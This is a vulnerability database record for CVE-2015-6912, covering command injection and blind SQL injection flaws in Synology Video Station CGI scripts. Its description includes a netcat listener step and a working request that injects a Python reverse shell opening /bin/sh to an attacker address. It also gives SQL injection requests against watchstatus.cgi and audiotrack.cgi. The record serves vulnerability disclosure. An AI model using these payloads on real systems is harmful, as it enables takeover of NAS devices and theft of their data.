ID

VAR-201509-0204

CVE

CVE-2015-6912

TITLE

Synology Video Station In any shell Command execution vulnerability

DESCRIPTION

Synology Video Station before 1.5-0763 allows remote attackers to execute arbitrary shell commands via shell metacharacters in the subtitle_codepage parameter to subtitle.cgi. Supplementary information : CWE Vulnerability type by CWE-77: Improper Neutralization of Special Elements used in a Command ( Command injection ) Has been identified. Synology Video Station is a video manager from Synology. The vulnerability is caused by the fact that the subtitle.cgi file does not adequately filter shell metacharacters in the 'subtitle_codepage' parameter. In addition, Video Station is affected by multiple SQL injection vulnerabilities that allows for execution of arbitrary SQL statements with DBA privileges. As a result it is possible to compromise the PostgreSQL database server. ------------------------------------------------------------------------ Affected versions ------------------------------------------------------------------------ These issues affect Synology Video Station version up to and including version 1.5-0757. The script subtitle.cgi can also be called when the 'public share' option is enabled. With this option enabled, this issue can also be exploited by an unauthenticated remote attacker. This vulnerability can be used to compromise a Synology DiskStation NAS, including all data stored on the NAS, and the NAS as stepping stone to attack other systems. - Start netcat on attacker's system: nc -nvlp 80 - Submit the following request (change the IP - 192.168.1.20 - & port number - 80): GET /webapi/VideoStation/subtitle.cgi?id=193&api=SYNO.VideoStation.Subtitle&method=get&version=2&subtitle_id=%2Fvolume1%2Fvideo%2Fmr.robot.s01e10.720p.hdtv.x264-killers.nfo%2FMr.Robot.S01E10.720p.HDTV.x264-KILLERS.2aafa5c.eng.srt&subtitle_codepage=auto%26python%20-c%20'import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%22192.168.1.20%22,80));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);%20os.dup2(s.fileno(),2);p=subprocess.call(%5b%22/bin/sh%22,%22-i%22%5d);'%26&preview=false&sharing_id=kSiNy0Pp HTTP/1.1 Host: 192.168.1.13:5000 User-Agent: Mozilla/5.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate X-Requested-With: XMLHttpRequest Connection: keep-alive Pragma: no-cache Cache-Control: no-cache SQL injection vulnerability in watchstatus.cgi A (blind) SQL injection vulnerability exists in the watchstatus.cgi CGI script. This issue exists in the code handling the 'id' parameter and allows an attacker to execute arbitrary SQL statements with DBA privileges. As a result it is possible to compromise the PostgreSQL database server. In the following screenshot this issue is exploited using sqlmap. Proof of concept POST /webapi/VideoStation/watchstatus.cgi HTTP/1.1 Host: 192.168.1.13:5000 User-Agent: Mozilla/5.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate X-SYNO-TOKEN: Lq6mE9ANV2egU X-Requested-With: XMLHttpRequest Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Content-Length: 80 Cookie: stay_login=0; id=Lq5QWGqg7Rnzc13A0LTN001710; jwplayer.volume=50 Connection: keep-alive Pragma: no-cache Cache-Control: no-cache id=15076178770%20or%204864%3d4864--%20&position=10.05&api=SYNO.VideoStation.WatchStatus&method=setinfo&version=1 It should be noted that the X-SYNO-TOKEN header provides protection against Cross-Site Request Forgery attacks. As of DSM version 5.2-5592 Update 3, this protection is enabled by default. SQL injection vulnerability in audiotrack.cgi A (blind) SQL injection vulnerability exists in the audiotrack.cgi CGI script. This issue exists in the code handling the 'id' parameter and allows an attacker to execute arbitrary SQL statements with DBA privileges. As a result it is possible to compromise the PostgreSQL database server. Proof of concept POST /webapi/VideoStation/audiotrack.cgi HTTP/1.1 Content-Length: 294 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate X-SYNO-TOKEN: 7IKJdJMa8cutE Host: <hostname>:5000 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 User-Agent: Mozilla/5.0 Accept-Charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7 Connection: close Pragma: no-cache Cache-Control: no-cache X-Requested-With: XMLHttpRequest Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Cookie: stay_login=0; id=7IivlxDM9MFb213A0LTN001710 id=1%20AND%20%28SELECT%20%28CASE%20WHEN%20%28%28SELECT%20usesuper%3Dtrue%20FROM%20pg_user%20WHERE%20usename%3DCURRENT_USER%20OFFSET%200%20LIMIT%201%29%29%20THEN%20%28CHR%2849%29%29%20ELSE%20%28CHR%2848%29%29%20END%29%29%3D%28CHR%2849%29%29&api=SYNO.VideoStation.AudioTrack&method=list&version=1

AFFECTED PRODUCTS

CVSS

PROBLEMTYPE DATA

THREAT TYPE

remote

TYPE

input validation

CONFIGURATIONS

EXPLOIT AVAILABILITY

PATCH

EXTERNAL IDS

REFERENCES

CREDITS

Securify B.V., Han Sahin

SOURCES

LAST UPDATE DATE

2025-04-13T23:18:04.061000+00:00

SOURCES UPDATE DATE

SOURCES RELEASE DATE